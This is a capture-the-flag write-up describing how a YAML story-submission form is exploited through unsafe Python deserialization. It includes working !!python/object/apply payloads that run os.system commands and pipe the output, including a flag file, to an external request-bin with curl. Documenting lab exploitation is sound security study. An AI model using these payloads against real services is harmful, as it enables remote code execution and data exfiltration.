We have to sign up and then log in to see a page with shared stories. When we do we are greeted with a blog listing. At the bottom there is a button to add our own story to the blog.
![Story time front page][story-time]![Story time yaml form][story-time-form]
We can try to send some malformed yaml to the page:
``` ymltitle: "Title of your story"synopsis: "This is a brief summary of your story"plot: ---and they lived happily ever after.    The Endkeywords:    - "example"     - "fiction" ```
```Bad Request
Error parsing yaml: while scanning a simple keyin "<unicode string>", line 4, column 1:---and they lived happily ever a ...^could not find expected ':'in "<unicode string>", line 6, column 1:keywords:^``` 
Googling the errors didn't really give me any clues to which framework was being used, so I decided to just try a few simple payloads.
My first payload was:
```yml!!python/object/apply:subprocess.Popen  - ls``` Giving the error below, at least now we can be pretty sure we're dealing with a python application.
```Internal Server Error
'Popen' object is not subscriptable```
I actually spent a lot of trying to get Popen to work, but found a different payload after a while.
``` yml!!python/object/apply:os.system  - ls```It succeeds, but the data does not appear anywhere. We can easily exfiltrate data though with a request bin though.
```yml!!python/object/apply:os.system  - ls | curl -X POST --data-binary @-  https://postb.in/1601157034473-5430747917853```
The flag is in the web directory, so we can just issue a new command:```yml
!!python/object/apply:os.system  - cat flag.txt | curl -X POST --data-binary @-  https://postb.in/1601157034473-5430747917853```
[story-time]: https://lorentzvedeler.com/assets/imgs/yaml-blog.png "Story time front page"[story-time-form]: https://lorentzvedeler.com/assets/imgs/yaml-form.png "Story time form"